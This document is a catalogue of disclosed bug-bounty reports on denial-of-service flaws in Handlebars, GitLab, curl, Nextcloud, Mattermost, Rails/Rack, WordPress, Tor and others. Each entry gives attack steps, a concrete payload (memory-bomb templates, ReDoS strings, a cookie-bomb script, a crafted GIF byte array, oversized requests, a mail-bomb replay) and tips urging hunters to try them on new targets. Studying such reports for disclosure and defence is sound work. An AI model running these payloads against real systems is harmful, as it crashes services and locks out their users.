Handlebars lets a template invoke context methods (String#repeat, String#split, Array#push, Array#join) without bounding result size, so a small template can build a multi-hundred-MB string/array and exceed Node's old-space heap limit, crashing the process with an OOM abort.
Method
- Find an endpoint that compiles/renders an attacker-influenced Handlebars template (or lets attacker control template source).
- Use {{#with}} to bind a seed string, then call s.repeat / a.push+a.join to blow up memory.
- Rendering exhausts the heap (~700MB/1400MB default) and Node aborts: 'JavaScript heap out of memory'.
const handlebars = require('handlebars');
let source = `
{{#with 'a' as |s0|}}
{{#with (s0.repeat 500000000) as |s|}}
{{s.concat s}}
{{s.concat s}}
{{/with}}
{{/with}}`;
handlebars.compile(source)();
Insight — Server-side template engines that expose native String/Array methods on the rendering context are a memory-DoS surface even without full SSTI/RCE: repeat/join/push amplify a tiny source into gigabytes. If you can influence template source (email builders, report/label templates, theme editors), try a size-amplification payload before chasing RCE gadgets. --max-old-space-size does not save you; it just moves the crash point.
Real-world example
Dangling reference after account deletion breaks victim inbox
◆ Medium
Specimen #975827 · automattic · awarded · 127 votes · resolved
Program automatticSurface web
Root cause
When a user who sent a message deletes their account, the message left in the recipient's inbox references a now-missing sender record, so loading the message box errors out and the victim can no longer use the account.
Method
- Attacker messages the victim
- Attacker deletes their own account
- Victim opens their message box and it errors permanently, locking them out of the account
Insight — Account/entity deletion that doesn't clean up or null-guard referencing records is a persistent logic-DoS. Test: create a cross-user reference (message, comment, share), delete the referencing entity/account, then load the dependent view.
Real-world example
Malformed URL in user content crashes the web client
◆ Low
Specimen #500686 · x · 1120 · 142 votes · resolved
Program xSurface web
Root cause
The Twitter mobile web client fails hard when parsing/linkifying a malformed URL (invalid percent-encoding, null byte, or out-of-range port), throwing during render so the whole timeline/conversation containing it fails to load.
Method
- Post a tweet or DM containing a malformed URL
- Any follower/recipient opening the timeline or conversation can no longer load it
- Variants: invalid hex %xx, null byte %00 (Chrome), oversized port :627732462
https://mobile.twitter.com/?%xx
https://twitter.com/i/flow/%00
http://twitter.com:627732462
Insight — Client-side URL parsers/linkifiers are a stored DoS sink. Fuzz user-postable text with malformed URLs (bad percent-encoding, control chars, huge ports) and check whether the containing view crashes for other users.
Real-world example
Unbounded email param on salt-lookup endpoint -> slow 503
◆ Low
Specimen #2818147 · sorare · 300 · 108 votes · resolved
Program sorareSurface apiTag cloud-aws
Root cause
The GET /api/v1/users/{email} endpoint validates email format but not length; a very long (valid-format) email makes the backend hang ~20s and return 503, and with keep-alive many slow connections exhaust server resources.
Method
- Note the endpoint returns a bcrypt salt for a valid email and 400 for invalid format
- Send a GET with an email of many thousands of chars ending in a valid @domain.tld
- Observe ~20s hang then 503; open many keep-alive connections to amplify
GET /api/v1/users/hhhh...(thousands of h)...@proton.m HTTP/1.1
Host: api.sorare.com
Connection: keep-alive
Insight — Format validation is not length validation. An input that passes a regex but is arbitrarily long can still blow up per-request CPU/time; slow-response endpoints + keep-alive are a low-and-slow DoS. Test max lengths even on 'validated' fields.
Real-world example
Duplicated Accept-Encoding header -> long backend delay / 502
◆ Low
Specimen #861170 · security · awarded · 97 votes · resolved
Program securitySurface web
Root cause
A crafted request with a duplicated/oddly-formatted Accept-Encoding value (gzip, gzip,deflate,br) causes a ~46s processing delay ending in 502, suggesting expensive/looping content-negotiation handling.
Method
- Send GET /group to the target with a duplicated Accept-Encoding header
- Observe a multi-tens-of-seconds delay followed by 502 Bad Gateway
- Concurrency would amplify into resource exhaustion
GET /group HTTP/1.1
Host: ctf.hacker101.com
Accept-Encoding: gzip, gzip,deflate,br
Connection: close
Insight — Header fuzzing (duplicated/oversized/odd content-negotiation headers) can surface slow paths that end in 5xx. When a single request costs tens of seconds, it is a low-request-count DoS. Fuzz Accept-Encoding/Accept/Range for latency spikes.
Real-world example
Huge relative-link path in markdown -> client+server CPU exhaustion (CVE-2019-15593)
◆ Low
Specimen #557154 · gitlab · 1000 · 84 votes · resolved
Program gitlabSurface web
Root cause
Issue comments have no character limit; a markdown link whose path has ~50,000 './a' segments forces expensive relative-URL processing/rendering, exhausting client CPU and, when looped, server CPU for all users.
Method
- Create a public project and an issue with some comments
- Post a comment containing a markdown link with tens of thousands of path segments: [a](/a/a/a/...x50000)
- Reload the issue -> comment fetch fails/hangs; loop the POST to exhaust server CPU
[a](/a/a/a/a/a/a/a/a/a/a/a/a/a/a...(50000 times).../a)
Insight — Unbounded markdown text + link/reference resolution = quadratic rendering cost. Test very long link paths / reference-heavy markdown; both the viewer's browser and the server's markdown pipeline are targets.
Real-world example
Stored input that trips the app's own security filter, DoSing viewers
◆ Low
Specimen #2801036 · doppler · 250 · 64 votes · resolved
Program dopplerSurface web
Root cause
A project name is stored unsanitized; when other users load the project, the app's own XSS/anti-tamper protection detects the string and force-logs-them-out, making the resource permanently inaccessible.
Method
- Create a project and share it with other users
- Rename the project to a string that looks like an injection payload (script/proto-pollution tokens)
- The malicious-looking name is stored; anyone opening the project (even admins) is auto-logged-out and cannot open or delete it
Project name: -script----window-doppler_config-hydrationcontext-user-__proto__-isadmin---true-
Insight — A stored value that trips the application's own WAF/anti-XSS/logout heuristic is a persistent DoS primitive: the defense becomes the payload. Test names/fields with injection-shaped-but-inert strings on shared objects.
Real-world example
WebSocket send infinite loop via timed control frame (curl CVE-2025-5399)
◆ Low
Specimen #3168039 · curl · none · 57 votes · resolved
Program curlSurface otherTag webhook
Root cause
curl_ws_send()'s flush loop condition `buflen > ws->sendbuf_payload` stays true forever when a partial-frame (CURLWS_OFFSET) send interleaves with an auto-PONG reply, because after a successful ws_flush the loop counters are not advanced when sendbuf_payload is 0.
Method
- Client uses curl_ws_recv()/curl_ws_send() to build a multi-part frame with CURLWS_OFFSET/CURLWS_CONT
- Malicious server injects a PING mid-frame so the client auto-responds with PONG and re-enters send with sendbuf_payload==0
- Next curl_ws_send() spins forever at 100% CPU
// vulnerable loop (lib/ws.c)
while(!Curl_bufq_is_empty(&ws->sendbuf) || (buflen > ws->sendbuf_payload)) {
result = ws_flush(data, ws, Curl_is_in_callback(data));
if(!result) { *sent += ws->sendbuf_payload; buffer += ws->sendbuf_payload;
buflen -= ws->sendbuf_payload; ws->sendbuf_payload = 0; }
}
// server sends a timed PING between OFFSET sends -> loop never terminates
Insight — For protocol client libraries, hunt for loops whose exit depends on a counter that a peer-timed control message can reset to a state where the guard is trivially true. Auto-response features (PING->PONG) are prime injection points for reentrancy bugs.
Real-world example
ReDoS via user-supplied color code (GitLab color_validator)
◆ Low
Specimen #511381 · gitlab · 1000 · 53 votes · resolved
Program gitlabSurface web
Root cause
The regex validating hex color codes backtracks catastrophically on a long invalid string, so any feature that accepts a color (labels, broadcast messages) is a ReDoS sink pinning server CPU.
Method
- Locate any field validated as a color code (label color, broadcast message)
- Intercept the create request and set color to a long malicious string
- Server CPU rises to ~90-100%; repeat for continuous DoS
label[color] = #0...(50000 x '0')...c0ffee
# vulnerable regex: app/validators/color_validator.rb color format regex
Insight — Format-validation regexes (colors, emails, URLs, phone) are classic ReDoS sinks. For any 'must match #RRGGBB'-style field, submit a long prefix of valid-ish chars followed by a mismatch and measure CPU; every feature sharing the validator is vulnerable.
Real-world example
Client-side render bomb via unbounded KaTeX/LaTeX macro expansion
◆ Low
Specimen #549040 · gitlab · awarded · 50 votes · resolved
Program gitlabSurface web
Root cause
GitLab markdown renders LaTeX math via KaTeX without maxSize/maxExpand limits, so deeply nested \sqrt / macro loops force every viewer's browser to render an unbounded expression tree -> stored client-side DoS (page hangs, can't even close the issue).
Method
- Create an issue/comment containing math markdown with deeply nested \sqrt or recursive macros
- Anyone opening the issue has their browser hang rendering it
$\sqrt{\sqrt{\sqrt{\sqrt{ ... (deeply nested) ... }}}}$
# or a recursive \def macro loop; fix = KaTeX maxSize + maxExpand + allowedProtocols
Insight — Client-side renderers (KaTeX/MathJax, mermaid, etc.) embedded in stored content are DoS sinks when expansion/size options are unset. Stored math/diagram markup that hangs the viewer's browser is a persistent, self-propagating client-side DoS - test nested/recursive constructs and check for maxExpand/maxSize config.
Real-world example
Length-prefixed key parser allocates from untrusted size → memory-exhaustion
◆ Low
Specimen #484930 · putty_h1c · awarded · 46 votes · resolved
Program putty_h1cSurface desktop
Root cause
puttygen's read_blob/ssh2_userkey_loadpub allocates buffers sized from a length field in an untrusted key file without sanity bounds, so a crafted .ppk drives a ~160MB single allocation (leaked/unbounded) — a memory-exhaustion DoS.
Method
- Compile PuTTY with AddressSanitizer/LeakSanitizer
- Run puttygen -L against a crafted .ppk whose blob length field is huge
- read_blob mallocs ~160MB from the attacker length → LeakSanitizer reports the leak / OOM
CC=clang CFLAGS=-fsanitize=address ./configure --without-gtk && make
./puttygen -L crafted.ppk # 159999984-byte allocation from length field
Insight — Parsers that malloc(length_field) before validating it against remaining input size are memory-exhaustion sinks; fuzz key/cert/archive parsers under LeakSanitizer and watch for single giant allocations. Bound allocations to actual bytes available.
Real-world example
Quadratic XML parsing blowup in REXML (CVE-2024-43398)
◆ Low
Specimen #3002543 · ibb · 505 · 45 votes · resolved
Program ibbSurface other
Root cause
REXML (Ruby XML parser) has poor performance on specially crafted XML using namespaced attributes and nested elements, so a modest document drives CPU to 100% for a long time.
Method
- Generate an XML doc with many repeated namespaced-attribute elements
- Feed it to REXML::Document.new
- Parsing hangs at 100% CPU
# generator
middle = '<a xml:b="" b=""><D>'
COUNT = 2000
print(''.join([middle for _ in range(COUNT)]))
# then: REXML::Document.new(File.read(payload)) -> very long parse, 100% CPU
Insight — XML/HTML parsers repeatedly appear as algorithmic-complexity DoS sinks (namespaces, entities, attributes). Any endpoint that accepts XML (SOAP, sitemap, SAML, config import) should be probed with structurally repetitive documents and parse-time measured.
Real-world example
Missing password length limit -> expensive-hash CPU DoS (CVE-2022-41969)
◆ Low
Specimen #1727424 · nextcloud · none · 39 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
No maximum length is enforced on passwords, so submitting a very long password forces the server to hash a large input with a deliberately slow KDF (bcrypt/argon), consuming disproportionate CPU per request; many concurrent requests -> DoS.
Method
- Find a password-accepting endpoint (registration, admin user creation, login, reset)
- Submit a very long password (hundreds/thousands of chars)
- Server spends heavy CPU hashing; repeat concurrently for DoS
password = "Aa@" + "123456789"*400 + "hello"*4 # multi-hundred/thousand-char password
# server hashes the whole thing with a slow KDF -> CPU DoS at scale
# fix: cap password length (commonly 64-72 bytes for bcrypt)
Insight — Slow password KDFs are a double-edged sword: no upper length bound turns 'secure hashing' into a CPU-DoS sink. Always test password/passphrase fields (and any slow-hash input) with very long values; the standard fix is a max length (bcrypt truncates at 72 bytes anyway).
Real-world example
Unbounded TLSv1.3 session-cache growth (OpenSSL CVE-2024-2511)
◆ Low
Specimen #2622671 · ibb · 497 · 35 votes · resolved
Program ibbSurface network
Root cause
With the non-default SSL_OP_NO_TICKET option on a TLSv1.3 server (and no early_data anti-replay), the session cache can enter a state where sessions are added with session_id_length later set to 0; remove_session_lock only deletes non-zero-length sessions, so eviction stops and the cache grows unboundedly -> heap exhaustion.
Method
- Target a TLSv1.3 server configured with SSL_OP_NO_TICKET (no session tickets)
- Open many client connections/sessions continuously
- Cache tail ends up with session_id_length==0, eviction stalls, cache grows past the configured limit until memory is exhausted
# no crafted bytes; configuration-dependent state machine bug.
# Trigger: many TLSv1.3 client connections against a server with SSL_OP_NO_TICKET set.
# Internal: ssl_update_cache -> SSL_CTX_add_session -> remove_session_lock skips zero-length id -> no eviction.
Insight — Cache/eviction logic keyed on a field the code itself later mutates (session_id_length -> 0) can silently stop evicting -> unbounded growth. Audit LRU/cache pruning for 'skip if field == X' guards where that field can become X after insertion. Exploitability depends on non-default config, so enumerate server TLS options.
Real-world example
Accounting desync (free-without-decrement) inflates global memory counter -> false OOM
◆ Low
Specimen #3701692 · torproject · 100 · 33 votes · resolved
Program torprojectSurface networkChain attacker exit relay -> queue OOO msgs -> teardown w/o
Root cause
Tor's Conflux out-of-order queue increments a global byte counter (total_ooo_q_bytes) on enqueue and decrements it on normal dequeue, but the teardown path conflux_free_() frees queued messages WITHOUT decrementing, leaving the global counter permanently inflated; that stale value feeds cell_queues_check_size() and can push the reported allocation past MaxMemInQueues, triggering OOM circuit teardown.
Method
- As a malicious Conflux-capable exit relay, send a real CONFLUX_SWITCH gap followed by RELAY_DATA cells so the victim client queues out-of-order messages (bumps total_ooo_q_bytes)
- Force teardown before normal dequeue so conflux_free_() frees them without subtracting the cost
- Repeat to inflate the global counter until Tor's OOM handler (circuits_handle_oom) closes circuits
// enqueue increments both counters:
total_ooo_q_bytes += cost; cfx->ooo_q_alloc_cost += cost;
// normal dequeue decrements both. But teardown does NOT:
SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t*, cell, conflux_relay_msg_free(cell));
smartlist_free(cfx->ooo_q); // <-- no total_ooo_q_bytes -= cost
// stale total later inflates cell_queues_check_size() -> false OOM
Insight — Global resource counters are a DoS surface when the increment and decrement live on asymmetric code paths. Grep every place a counted resource is freed (destructors, error/teardown, early returns) and verify the matching accounting decrement runs. A counter that only self-corrects on the happy path can be driven to trip OOM/limit logic on freed memory.
Real-world example
Persistent page-section DoS via unhandled exception from a cross-tenant reference in a comment
◆ Low
Specimen #629150 · shopify · none · 30 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
A timeline comment (TimelineCommentCreate) that embeds a reference tag pointing to a non-existent / cross-store resource id causes the server to raise an unhandled exception when rendering the resource's Timeline, breaking that page section for all staff including admins until fixed.
Method
- As any staff who can comment on a discount, open the discount and start a comment (intercept)
- Set the comment message to a reference tag for a resource from another store / a non-existent variant
- Send the TimelineCommentCreate mutation
- The resource's page now errors on load; the Timeline/comment section is broken for everyone
{"operationName":"TimelineCommentCreate","variables":{"input":{"message":"[#V12221027811351| ] ","resourceId":"gid://shopify/PriceRule/298300342294","attachments":[]}},"query":"mutation TimelineCommentCreate($input: TimelineCommentCreateInput!){timelineCommentCreate(input:$input){userErrors{field message}}}"}
Insight — User-controlled reference/mention tags that the server later resolves are a stored-DoS vector: point them at deleted or cross-tenant ids and see if resolution throws an unhandled exception that persistently breaks the page for other users.
Real-world example
ReDoS in Rails ActionText to_plain_text blockquote regex
◆ Low
Specimen #2389431 · rails · none · 28 votes · resolved
Program railsSurface web
Root cause
ActionText::Fragment#to_plain_text -> plain_text_for_blockquote_node applies /\A(\s*)(.+?)(\s*)\Z/m. The overlapping \s* ... .+? ... \s* groups backtrack catastrophically on Ruby 3.1 when the text is whitespace at both ends around content.
Method
- Find code calling ActionText#to_plain_text on user-controlled rich text (Ruby 3.1 or lower)
- Submit a blockquote whose plain text is many leading tabs + char + many tabs + char
- Regex time grows super-linearly (39s at length 100000 on Ruby 3.1)
text = "\t"*N + "a" + "\t"*N + "a" # feed as blockquote content; N=100000 -> ~39s on Ruby 3.1
Insight — Regexes mixing greedy/lazy quantifiers over the same character class (\s* and .+? both matching whitespace) are ReDoS-prone. Tools like recheck flag them. As with REXML, Ruby 3.2+ regex engine neutralizes it - pin the interpreter.
Real-world example
ReDoS in Ruby web-stack HTTP header/content-type parsers (Rack/Action Dispatch)
◆ Low
Specimen #2446437 · ibb · awarded · 28 votes · resolved
Program ibbSurface web
Root cause
The regex-based parsers for Content-Type (Rack media-type, CVE-2024-25126), Accept/Forwarded headers (Rack, CVE-2024-26146), and the Accept header in Action Dispatch (CVE-2024-26142) each backtrack super-linearly on carefully crafted header values, letting a single unauthenticated request consume disproportionate CPU.
Method
- Target any Rack/Rails app and identify that requests are routed through Rack header/content-type parsing
- Send a request with a pathological Content-Type, Accept, or Forwarded header (long crafted token/parameter sequences)
- Measure response time; repeat/parallelize for sustained DoS
Crafted headers, e.g.
Accept: text/html, <long crafted media-range list with many params>
Content-Type: <crafted media type with many parameters/quoting>
Forwarded: <crafted repeated for=... elements> # exact strings in linked rubyonrails.org discuss advisories
Insight — HTTP header parsers are unauthenticated, always-on attack surface. Fuzz Accept, Content-Type, and Forwarded with pathological media-range/parameter structures against any Ruby web stack. Mitigated on Ruby 3.2+ regex engine; fixed in Rack 3.0.9.1/2.2.8.1 and Rails 7.1.3.1.
Real-world example
Permanent inflight-packet commitment blocks channel upgrades (IBC forwarding DoS)
◆ Low
Specimen #2914705 · cosmos · awarded · 26 votes · resolved
Program cosmosSurface otherChain malicious forwarding hop -> unacked commitment on legit c
Root cause
IBC transfer-v2 forwarding does not write an acknowledgement for a forwarded packet until a downstream channel acks it; a malicious downstream channel that never acks leaves an undeletable inflight commitment on the legit source channel, and HasInflightPackets then permanently prevents the channel from reaching FLUSHCOMPLETE (needed for any upgrade).
Method
- Open attacker-controlled channels alongside the legit channel
- Submit a ReceivePacketV2 with a Forwarding hop list routing through the legit channel and then to an attacker channel
- Forwarding writes a receipt but no ack, and the attacker channel never acks -> commitment cannot be deleted (no ack, no timeout)
- Legit channel keeps inflight packets forever -> can never become FLUSHCOMPLETE -> all upgrades blocked
ReceivePacketV2(path, FungibleTokenPacketDataV2{
Tokens: [{Amount:"1", Denom:{Base:"x"}}],
Sender: attacker, Receiver: victim,
Forwarding: ForwardingPacketData{Hops: [
{ChannelId: legitChannel, PortId: port},
{ChannelId: attackerChannel, PortId: port}]}})
Insight — When protocol state can only be cleared by a counterparty action (ack) and there's no timeout/escape hatch, a malicious counterparty introduced via a forwarding/relay feature can pin that state forever. Audit any 'delete only on ack' invariant for who controls the ack.
Real-world example
Uncaught exception on null DB field crashes Node process (one-click DoS)
◆ Low
Specimen #702987 · gitlab · awarded · 26 votes · resolved
Program gitlabSurface webTag oauth
Root cause
gitter's OAuth authorize looked up the 'web-internal' clientKey, whose DB record had no registeredRedirectUri. The code passed the undefined value straight to url.parse(client.registeredRedirectUri), throwing an uncaught TypeError [ERR_INVALID_ARG_TYPE] that crashes the whole Node process (which does not auto-restart).
Method
- Identify an OAuth client / record whose optional field (redirect_uri) is unset in the DB
- Send an unauthenticated GET to /login/oauth/authorize with that client_id and any redirect_uri
- url.parse(undefined) throws an uncaught exception; the Node process crashes and stays down
GET http://TARGET/login/oauth/authorize?response_type=code&client_id=web-internal&redirect_uri=http://whatever
Insight — In Node, a single uncaught exception in a request handler kills the entire process (all users). Hunt for attacker-reachable paths that feed possibly-undefined/null values into functions that throw on wrong type (url.parse, JSON.parse, Buffer, string methods). Missing/optional DB fields are a prime trigger.
Real-world example
ReDoS in Ruby Psych YAML DateTime parsing
◆ Low
Specimen #1487889 · ruby · none · 26 votes · resolved
Program rubySurface other
Root cause
Psych's scalar_scanner parses time strings with a regex susceptible to catastrophic backtracking. Deserializing a crafted DateTime scalar via YAML.load causes exponential/quadratic blowup.
Method
- Confirm DateTime deserialization is permitted (permitted_classes includes Time/DateTime)
- Feed a long non-matching time string into YAML.load
- Observe parse time grow sharply with input length
YAML.load("--- !ruby/object:DateTime 2022-02-22 " + '0'*50000 + "00:0Z0:0:0", permitted_classes: [Time, DateTime])
Insight — Deserializers that parse typed scalars (dates/times/numbers) via regex are ReDoS candidates. Feed long non-matching strings and benchmark growth; verify the regex with a tool like recheck.
Real-world example
Cookie bomb: overflow request-header size limit for domain-wide DoS
◆ Low
Specimen #861521 · clario · awarded · 22 votes · resolved
Program clarioSurface web
Root cause
Any page under a domain can set cookies scoped to the parent domain; browsers replay them on every request. Set enough oversized cookies and the total request header exceeds the server's max header size, so the server rejects (413/400) every subsequent request to *.domain.
Method
- Find an injection point that lets you set cookies scoped to the apex domain (reflected/persisted cookie set on a subdomain, or attacker page that document.cookie writes for .target.com)
- Set several large cookies (each padded near the browser per-cookie limit). Use escape()-expanding chars: ',' -> %2C triples length while staying a valid short link
- Victim visits any *.target.com page; all requests now carry oversized Cookie header
- Server returns 400/413 'header too large' -> user locked out of the whole domain until cookies cleared
// attacker page sets domain-scoped cookie bomb
for (let i=0;i<15;i++){
document.cookie = `bomb${i}=`+ 'x'.repeat(4000) + '; domain=.target.com; path=/';
}
// or deliver via a crafted link whose value escapes to 3x length (,,,, -> %2C%2C..)
Insight — Client-side DoS you can persist on a victim by writing parent-domain cookies from any lower-privilege subdomain. Test by measuring when the server flips to 400/413 as Cookie grows; the parent-domain scope is what makes it hit every subdomain.
Real-world example
WordPress load-scripts.php resource amplification
◆ Low
Specimen #690330 · mariadb · none · 20 votes · resolved
Program mariadbSurface web
Root cause
wp-admin/load-scripts.php concatenates arbitrary registered JS/CSS handles passed in the load[] array with no cap on count/size and no rate limiting, so a single unauth request can force the server to read and bundle many files - amplified by flooding (CVE-2018-6389).
Method
- Hit /wp-admin/load-scripts.php?c=1&load[]=<many,handles>&ver=X
- Request loads/concatenates every listed script
- Flood in parallel -> CPU/IO exhaustion
https://TARGET/wp-admin/load-scripts.php?c=1&load[]=jquery-ui-core,editor,...&ver=4.9.1
Insight — Unauthenticated asset-bundling endpoints (load-scripts.php, load-styles.php) are classic WordPress DoS amplifiers - one small request = large server work. Detect a hardened target by a Files/deny rule on these scripts. Complements wp-cron.php flooding (#1888723).
Real-world example
Abuse app 'email me instructions' endpoint as a mail bomb
◆ Low
Specimen #297359 · x · awarded · 19 votes · resolved
Program xSurface api
Root cause
An authenticated feature that emails integration instructions to an arbitrary recipient address has no rate limit, so an attacker can loop the request to flood any victim's inbox.
Method
- Capture the POST /web-client/api/ad-units/email-instructions request
- Set the addresses[] field to the victim email
- Replay in a loop (Intruder) to flood the target
POST /web-client/api/ad-units/email-instructions
{"addresses":["victim@example.com"],"key":"..."}
Insight — Any endpoint that sends attacker-chosen content to an attacker-chosen recipient is a mail-bomb / spam-relay when unthrottled - a real third-party-harm consequence, unlike self-targeted 'no rate limit' reports which are usually noise.
Real-world example
WEBrick DigestAuth catastrophic-backtracking ReDoS
◆ Low
Specimen #661722 · ruby · awarded · 17 votes · resolved
Program rubySurface other
Root cause
WEBrick::HTTPAuth::DigestAuth#split_param_value parses the Authorization header with ^\s*([\w\-\.\*\%\!]+)=\s*"((\\.|[^"])*)"\s*,? - the ((\\.|[^"])*) group backtracks catastrophically on an unterminated quoted value, pinning CPU to 100%.
Method
- Point a WEBrick server configured with DigestAuth
- Send an Authorization: Digest header with a value like a="\b\b\b..." (many escapes, no closing quote)
- Server spends seconds-to-minutes; grows with escape count
curl -I --header 'Authorization: Digest a="\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b' http://TARGET:8000
Insight — Auth/parsing regexes over attacker headers are prime ReDoS targets. The classic tell is a quoted-string subpattern like (\\.|[^"])* - feed an unterminated string full of escapes. Even a '400 Bad Request' response can take 9s+, and the request is unauthenticated.
Real-world example
Client-trusted deleted_at field crashes webapp for all viewers
◆ Low
Specimen #1253732 · mattermost · USD 150 · 17 votes · resolved
Program mattermostSurface web
Root cause
The message-create API accepts a client-supplied deleted_at field and does not sanitize/ignore it. Posting a message with deleted_at>0 produces a record the web client cannot render, crashing (blank screen) for everyone viewing the channel - and for anyone who later switches to it (CVE-2021-37863).
Method
- Intercept a send-message request in Burp
- Add "deleted_at": 10 (any value > 0) to the JSON body
- Send it; the webapp crashes for all users viewing that channel, and on switch-to for others
- Repeat (updating pending_post_id) to keep the channel/app unusable
POST /api/v4/posts
{"channel_id":"...","message":"x","pending_post_id":"...:1","deleted_at":10}
Insight — Look for server-side-managed fields (deleted_at, created_at, id, status, is_pinned) that the API blindly accepts from the client. Feeding a 'deleted but present' state can crash renderers that assume the field is server-controlled. Broadcast/realtime channels amplify one crafted message into an all-viewers DoS. Sibling of #784676.
Real-world example
Missing request-size limit on a secondary endpoint
◆ Low
Specimen #418254 · chaturbate · USD 200 · 15 votes · resolved
Program chaturbateSurface web
Root cause
The main login endpoint caps POST body size, but the /roomlogin/<user> endpoint does not. It reads and processes the whole body, so a ~10MB POST consumes ~30-40s of server time per request - easily parallelized into a DoS.
Method
- Find a password-protected room
- POST a very large body (e.g. password = 10MB of 'a') to /roomlogin/<user>
- Server processes the whole request (~40s); expected behavior would be an immediate HTTP 413
- Parallelize for amplified impact
import requests
payload = {'password':'a'*10_000_000, 'next':'/x/', 'csrfmiddlewaretoken':CSRF}
requests.post('https://TARGET/roomlogin/USER/', data=payload, cookies={...})
Insight — Size/rate limits are usually applied only to the obvious endpoints. Enumerate secondary POST endpoints (room login, comment, upload, search) and diff their behavior against the hardened main login: if one returns slowly instead of 413 on a large body, it's a DoS. Compare 'has a limit' vs 'no limit' across sibling endpoints.
Real-world example
Log-amplification DoS: unbounded API field written to console
◆ Low
Specimen #1243724 · mattermost · USD 150 · 14 votes · resolved
Program mattermostSurface api
Root cause
UI enforces a size limit but the API does not; an oversized command value is echoed into a console error log, and a single log line over ~64KB (65535 bytes) makes the server hang/become unresponsive for all users.
Method
- Intercept POST /api/v4/commands/execute for a non-existent slash command
- Replace the command value with >64KB of text (66000+ chars)
- Invalid command error logs the payload; console log >64KB freezes the server until restart
POST /api/v4/commands/execute
{"command":"/AAAAAAAA...(66000+ chars)...","channel_id":"..."}
Insight — Client-side length limits are not server-side limits — resend raw to the API. Then hunt for values that get logged verbatim; oversized log lines can block on a pipe/handler and DoS the whole process, not just the request.
Real-world example
Control-code cookie poisoning forces server 400 (curl DoS)
◆ Low
Specimen #1613943 · curl · none · 13 votes · resolved
Program curlSurface other
Root cause
curl did not reject control characters (bytes < 0x20) in cookie name/value before persisting them to the cookie store; when later replayed, servers like Apache reject the request head with 400, denying further interaction.
Method
- Stand up a server (or MITM) that returns Set-Cookie containing a control char, e.g. form feed \f in the value
- Have the victim curl process store it with -c cookies.txt
- Verify the 0x0c byte is written into the cookie jar (xxd cookies.txt)
- On the next request curl replays the poisoned cookie and the server answers 400 Bad Request, blocking all further use of that jar against the host
# malicious server response (test.php)
<?php
echo("HTTP/1.1 200 OK\r\nSet-Cookie: a=b\f; \r\nContent-Length: 0\r\nConnection: close\r\n\r\n");
?>
# serve it
php test.php | nc -nvlp 3333
# victim stores the poisoned cookie
curl -c cookies.txt http://127.0.0.1:3333
Insight — When auditing HTTP clients/cookie stores, test whether control characters (RFC6265 forbids them) survive persistence; a 'sister site' or MITM can weaponize lax input validation into a persistent DoS of the shared cookie jar.
Real-world example
Image decompression bomb: max-dimension GIF -> OOM (CVE-2022-3257)
◆ Low
Specimen #1620170 · mattermost · USD 150 · 12 votes · resolved
Program mattermostSurface apiTag file-upload
Root cause
An upload route calls gif.DecodeAll (via GetInfoForBytes) without the preprocessImage guard used on the main files route, so a tiny crafted GIF declaring maximum dimensions allocates >4GB RAM and crashes the server.
Method
- Create an upload session for a small .gif
- Upload a 31-byte crafted GIF with maximum width/height header
- Server decodes it fully (gif.DecodeAll) allocating >4GB -> container/process killed
data := []byte{0x47,0x49,0x46,0x38,0x39,0x61,0x2e,0xf8,0xff,0xff,0x0f,0x18,0x18,0x2c,0x7f,0x20,0x00,0x00,0x00,0xa0,0xff,0xff,0xff,0xd4,0x9a,0xf0,0xb4,0x08,0x35,0x04,0x00}
// upload via CreateUpload + UploadData
Insight — A few header bytes can declare huge dimensions; the decoder allocates width*height*channels before any pixel data. Find upload/thumbnail paths that decode fully without a dimension/pixel-count guard (compare sibling routes — one may guard, another may not).
Real-world example
Unbounded input field to DB column -> error/DoS (CVE-2023-22470)
◆ Low
Specimen #1596059 · nextcloud · none · 12 votes · resolved
Program nextcloudSurface web
Root cause
No maximum-length validation on the display name (and similar free-text fields); an oversized value overflows the DB column / breaks server-side handling producing a 500 Internal Server Error and potential DoS.
Method
- Find a free-text field persisted to the DB (display name, board name)
- Submit a very long value via intercepted request (bypassing any client cap)
- Server returns 500 / DB error; repeat to degrade service
displayName=AAAA...(tens of thousands of chars)...
Insight — Unbounded free-text fields that hit a fixed-width DB column are a reliable low-effort DoS/error-generation primitive. Always send past-limit values server-side; a 500 with a DB error also leaks the storage layer.
Real-world example
Long-password bcrypt CPU DoS (no length cap) (CVE-2023-25816)
◆ Low
Specimen #1820864 · nextcloud · none · 12 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
The password reset/set endpoint enforced no maximum password length, so a very long password is fed to the (CPU-heavy) hashing routine, and thousands of characters spike CPU / crash the server for a period.
Method
- Trigger password reset and open the reset link
- Submit a password of 150 to 2500+ characters
- Confirm; server does an expensive hash over the huge input -> CPU exhaustion/temporary crash
newpassword=AAAA...(2500+ chars)...
Insight — Always test unbounded password fields (register/reset/change): expensive KDFs (bcrypt/argon2/PBKDF2) over megabyte inputs are a cheap asymmetric DoS. Fix pattern is a ~40-72 char cap. Same idea applies to any hash/KDF-over-user-input sink.
Real-world example
Crash via empty pathname after naive traversal-strip (read a directory)
◆ Low
Specimen #627376 · nodejs-ecosystem · none · 11 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
A path-traversal fix strips '/../' in a loop; the request /../?a reduces pathname to empty, skipping the '/'==pathname default-file branch, so abspath becomes the project directory, fs.readFile returns undefined data, and res.write(undefined) throws and crashes the server.
Method
- Send curl --path-as-is http://TARGET/../?a
- Sanitizer turns pathname into empty string, bypassing the default-file handler
- abspath = cwd (a directory); readFile data is undefined; res.write(undefined) throws -> process crash
curl --path-as-is 'http://localhost:8080/../?a'
Insight — Security fixes that mutate the path can create new crash states. Test the edge outputs of any strip/replace-based traversal fix: inputs that reduce the path to empty or to a directory, then reach an unguarded readFile/write. res.write(undefined) is an easy unhandled-throw crash.
Real-world example
Nextcloud image-preview memory-exhaustion via crafted broken image
◆ Low
Specimen #1261225 · nextcloud · awarded · 10 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
Generating a preview/thumbnail for a specially crafted (broken/oversized-dimension) image causes PHP to allocate a huge amount of memory and CPU due to an incorrect buffer-size calculation, enabling DoS by uploading many such files (CVE-2022-24741).
Method
- Upload the crafted image file
- Trigger preview generation (open the files app folder view)
- Server allocates ~GBs of memory / high CPU per file; repeat to exhaust resources
crafted 'broken' image whose header declares enormous dimensions (decompression/allocation bomb)
